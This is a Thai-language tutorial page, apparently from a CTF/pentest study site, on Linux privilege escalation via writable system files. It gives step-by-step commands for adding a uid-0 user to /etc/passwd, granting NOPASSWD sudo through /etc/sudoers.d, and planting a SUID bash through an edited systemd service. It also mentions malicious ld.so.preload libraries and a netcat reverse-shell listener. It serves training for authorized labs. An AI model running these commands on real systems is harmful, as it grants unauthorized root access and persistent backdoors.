คลัง
linux-privesc

Writable Scripts & Files

Writable Scripts & Files คือการ privesc ผ่านไฟล์ระบบที่ตั้งสิทธิ์ผิดให้ user เขียนได้ — script ที่ root รัน, /etc/passwd, service file, config ที่ process root อ่าน บทนี้ลงลึกการหาไฟล์ที่เขียนได้, การ abuse แต่ละชนิด (writable /etc/passwd, service, sudoers, script), และลำดับความสำคัญ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#writable#linux#privesc#passwd#service#config#ctf

1. หลักการ

misconfiguration ที่พบบ่อยคือไฟล์ระบบสำคัญถูกตั้งสิทธิ์ให้ user ธรรมดาเขียนได้ ถ้าไฟล์นั้นถูกใช้โดย root (script ที่ root รัน, ไฟล์ที่กำหนดสิทธิ์อย่าง /etc/passwd, service ที่รันเป็น root) เราแก้ไฟล์เพื่อยกระดับเป็น root ได้

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หาไฟล์ที่เขียนได้

find writable files/dirsLinux
# ไฟล์ที่ user เราเขียนได้ (นอก /proc /sys)
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'

# world-writable files
find / -perm -o+w -type f 2>/dev/null | grep -vE '^/proc|^/sys'

# world-writable directories (สร้าง/แทนที่ไฟล์ได้)
find / -perm -o+w -type d 2>/dev/null

# เช็คไฟล์สำคัญเฉพาะ
ls -la /etc/passwd /etc/shadow /etc/sudoers
ls -la /etc/systemd/system/*.service
โฟกัสไฟล์สำคัญที่เขียนได้: /etc/passwd, service files, script ที่ root รัน, sudoers

3. Abuse: writable /etc/passwd

เพิ่ม root user ใน /etc/passwdLinux
# ถ้า /etc/passwd เขียนได้ → เพิ่ม user ที่มี uid=0
# สร้าง password hash
openssl passwd -1 -salt abc password123
# ได้ $1$abc$...

# เพิ่มบรรทัด user uid=0 (root) เข้า /etc/passwd
echo 'hacker:$1$abc$HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
# หรือใช้ password ใน field ที่ 2 ตรงๆ (legacy)

su hacker                        # password123 → root!
/etc/passwd เขียนได้ = เพิ่ม user uid=0 → su เป็น root; field ที่ 3 = uid (0 = root)

4. Abuse: writable service / sudoers / script

  • writable .service file: แก้ ExecStart= ให้รัน payload → restart service (หรือรอ) → รันเป็น root (ดู section โค้ด)
  • writable script ที่ root รัน (cron/service): ใส่ payload (ดูหัวข้อ Cron Jobs)
  • writable /etc/sudoers หรือ /etc/sudoers.d/: เพิ่ม username ALL=(ALL) NOPASSWD: ALL → sudo su
  • writable PATH ของ root: PATH hijack (ดูหัวข้อ PATH Hijacking)
  • writable library (.so) ที่ root binary โหลด: แทนที่ → code execution
  • writable /etc/ld.so.preload: ใส่ malicious .so → โหลดทุก process
ตัวอย่าง: writable systemd serviceLinux
# ถ้า /etc/systemd/system/foo.service เขียนได้
# แก้ ExecStart ให้รัน payload
[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb'
# แล้ว (ถ้ามีสิทธิ์ restart หรือรอ reboot)
sudo systemctl restart foo       # หรือรอ service รัน
/tmp/rb -p                       # root

# writable sudoers.d
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwn
sudo su                          # → root
service file → แก้ ExecStart; sudoers.d → เพิ่ม NOPASSWD ALL; เลือกตามไฟล์ที่เขียนได้

5. Quick Reference

  • ไฟล์ระบบที่ user เขียนได้ + ใช้โดย root = privesc
  • หา: find / -writable -type f 2>/dev/null | grep -v proc
  • writable /etc/passwd → เพิ่ม user uid=0 → su
  • writable .service → แก้ ExecStart → restart → root
  • writable sudoers.d → NOPASSWD ALL → sudo su
  • writable script ที่ root รัน → payload (ดู Cron)
  • writable .so / ld.so.preload → code exec

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติไล่ SUID/capability/cron มาแล้วยังไม่เจอ มีแค่ Kali เปล่าๆ ลองเช็คว่ามีไฟล์ระบบสำคัญที่ user เราเขียนได้ไหม (misconfiguration ที่พบบ่อยไม่แพ้กัน) ทำตามนี้ทีละขั้น

  1. 1พิมพ์ find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys' หาไฟล์ที่เขียนได้ทั้งระบบ
  2. 2พิมพ์ ls -la /etc/passwd ดูก่อนว่าเขียนได้ไหม
  3. 3ถ้าเขียนได้ พิมพ์ openssl passwd -1 -salt abc password123 เอา hash ที่ได้
  4. 4พิมพ์ echo 'hacker:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd แล้ว su hacker ด้วยรหัส password123
  5. 5ถ้า /etc/passwd เขียนไม่ได้ ให้เช็ค ls -la /etc/sudoers /etc/sudoers.d/ ต่อ
  6. 6ถ้า sudoers.d เขียนได้ พิมพ์ echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwn แล้ว sudo su
  7. 7ถ้ายังไม่เจอ ให้เช็ค ls -la /etc/systemd/system/*.service ว่ามีไฟล์เขียนได้ไหม
  8. 8ถ้าเขียนได้ ให้แก้บรรทัด ExecStart= เป็นคำสั่งสร้าง SUID bash แล้ว sudo systemctl restart (หรือรอ reboot)
  9. 9ถ้าไม่มีไฟล์ไหนเขียนได้เลย ให้เช็คว่า script ที่พบเป็นตัวที่ cron เรียกอยู่หรือเปล่า
เจอไฟล์เขียนได้แล้วทำอะไรต่อ / ไม่เจอไปทางไหน
ls -la /etc/passwd — เขียนได้ไหม?
✅ เขียนได้→ เพิ่ม user uid=0 ด้วย openssl passwd แล้ว su
❌ เขียนไม่ได้→ เช็ค /etc/sudoers.d/ ต่อ
ls -la /etc/sudoers /etc/sudoers.d/ — เขียนได้ไหม?
✅ เขียนได้→ เติม NOPASSWD ALL แล้ว sudo su
❌ เขียนไม่ได้→ เช็ค service file ที่ root คุม
ls -la /etc/systemd/system/*.service — มีไฟล์เขียนได้ไหม?
✅ เขียนได้→ แก้ ExecStart เป็น payload แล้ว restart service
❌ เขียนไม่ได้→ เช็คว่าเป็น script ที่ cron เรียกไหม
ไม่มีไฟล์สำคัญให้เขียนเลย → เช็ค library (.so) หรือ ld.so.preload
เขียน .so/preload ได้ไหม?
✅ เขียนได้→ วาง malicious .so แล้วรอ process โหลด
❌ เขียนไม่ได้เลยทุกจุด→ ไม่มี writable file ให้ใช้ ไปเช็ค SUID/PATH แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หาไฟล์ที่เขียนได้ทั้งระบบfind -writable--
สร้าง password hash สำหรับ /etc/passwdopenssl passwd-crackstation.net (เผื่อเทียบ)
แก้ systemd servicesystemctl, nano/vim--
ตรวจ sudoerscat /etc/sudoers--
enumeration เสริม-linpeas-
ฟัง reverse shellnc -lvnp-revshells.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: Cron Jobs (ถ้า script ที่เจอถูกเรียกเป็นระยะโดย root) · PATH Hijacking (ถ้า script/service เรียก command แบบ relative) · SUID/Capabilities (permission bit อีกแบบที่ยังไม่เช็ค) · LinPEAS (สแกนอัตโนมัติหาไฟล์ที่พลาด)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้